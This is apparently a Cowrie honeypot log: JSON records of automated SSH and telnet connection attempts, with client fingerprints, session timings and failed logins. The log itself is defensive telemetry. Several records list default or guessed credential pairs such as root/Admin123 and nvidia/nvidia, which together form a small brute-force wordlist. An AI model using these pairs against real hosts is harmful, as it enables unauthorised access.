{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:06.229106Z","src_ip":"42.200.78.78","session":"07fd48ef6723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34396,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f0578339822","protocol":"ssh","message":"New connection: 45.156.87.204:34396 (159.203.135.109:22) [session: 9f0578339822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:06.818867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:06.826591Z","src_ip":"45.156.87.204","session":"9f0578339822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:06.909225Z","src_ip":"45.156.87.204","session":"9f0578339822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":36418,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0ce254e9c98","protocol":"ssh","message":"New connection: 94.26.106.229:36418 (159.203.135.109:22) [session: b0ce254e9c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:06.968781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:07.107174Z","src_ip":"94.26.106.229","session":"b0ce254e9c98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:07.110920Z","src_ip":"94.26.106.229","session":"b0ce254e9c98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test_12345","message":"login attempt [root/Test_12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:07.121316Z","src_ip":"42.200.78.78","session":"07fd48ef6723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sit","password":"sit123456","message":"login attempt [sit/sit123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:07.155200Z","src_ip":"45.156.87.204","session":"9f0578339822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Martin","message":"login attempt [root/Martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:07.696061Z","src_ip":"94.26.106.229","session":"b0ce254e9c98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:08.240272Z","src_ip":"45.156.87.204","session":"9f0578339822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:08.337978Z","src_ip":"42.200.78.78","session":"07fd48ef6723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54074,"dst_ip":"10.17.0.5","dst_port":23,"session":"70ee861d31ea","protocol":"telnet","message":"New connection: 152.42.224.71:54074 (10.17.0.5:23) [session: 70ee861d31ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:08.754136Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:08.790679Z","src_ip":"94.26.106.229","session":"b0ce254e9c98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":36420,"dst_ip":"159.203.135.109","dst_port":22,"session":"d29f4401396e","protocol":"ssh","message":"New connection: 94.26.106.229:36420 (159.203.135.109:22) [session: d29f4401396e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:09.749978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:09.754233Z","src_ip":"94.26.106.229","session":"d29f4401396e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:09.838038Z","src_ip":"94.26.106.229","session":"d29f4401396e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:10.088715Z","src_ip":"94.26.106.229","session":"d29f4401396e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34412,"dst_ip":"159.203.135.109","dst_port":22,"session":"f695066fe2b3","protocol":"ssh","message":"New connection: 45.156.87.204:34412 (159.203.135.109:22) [session: f695066fe2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:10.446722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:10.451669Z","src_ip":"45.156.87.204","session":"f695066fe2b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:10.535566Z","src_ip":"45.156.87.204","session":"f695066fe2b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:10.780603Z","src_ip":"45.156.87.204","session":"f695066fe2b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:11.174606Z","src_ip":"94.26.106.229","session":"d29f4401396e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:11.868450Z","src_ip":"45.156.87.204","session":"f695066fe2b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":36424,"dst_ip":"159.203.135.109","dst_port":22,"session":"b62af02a3267","protocol":"ssh","message":"New connection: 94.26.106.229:36424 (159.203.135.109:22) [session: b62af02a3267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:11.959198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:11.964217Z","src_ip":"94.26.106.229","session":"b62af02a3267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:12.052784Z","src_ip":"94.26.106.229","session":"b62af02a3267","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:12.318771Z","src_ip":"94.26.106.229","session":"b62af02a3267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54076,"dst_ip":"10.17.0.5","dst_port":23,"session":"98d829b66adb","protocol":"telnet","message":"New connection: 152.42.224.71:54076 (10.17.0.5:23) [session: 98d829b66adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:13.112036Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:13.409645Z","src_ip":"94.26.106.229","session":"b62af02a3267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47080,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5c596a82a10","protocol":"ssh","message":"New connection: 45.156.87.204:47080 (159.203.135.109:22) [session: f5c596a82a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:13.939300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:13.943974Z","src_ip":"45.156.87.204","session":"f5c596a82a10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:14.213241Z","src_ip":"45.156.87.204","session":"f5c596a82a10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecs-user","password":"ecs-user","message":"login attempt [ecs-user/ecs-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:14.652221Z","src_ip":"45.156.87.204","session":"f5c596a82a10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":33536,"dst_ip":"159.203.135.109","dst_port":22,"session":"7940cde3bbbd","protocol":"ssh","message":"New connection: 94.26.106.229:33536 (159.203.135.109:22) [session: 7940cde3bbbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:14.715671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:14.721428Z","src_ip":"94.26.106.229","session":"7940cde3bbbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:14.811911Z","src_ip":"94.26.106.229","session":"7940cde3bbbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fa","password":"fa","message":"login attempt [fa/fa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:15.079337Z","src_ip":"94.26.106.229","session":"7940cde3bbbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:15.738708Z","src_ip":"45.156.87.204","session":"f5c596a82a10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:16.169735Z","src_ip":"94.26.106.229","session":"7940cde3bbbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":33548,"dst_ip":"159.203.135.109","dst_port":22,"session":"1db2f678de6a","protocol":"ssh","message":"New connection: 94.26.106.229:33548 (159.203.135.109:22) [session: 1db2f678de6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:16.818115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:16.822689Z","src_ip":"94.26.106.229","session":"1db2f678de6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v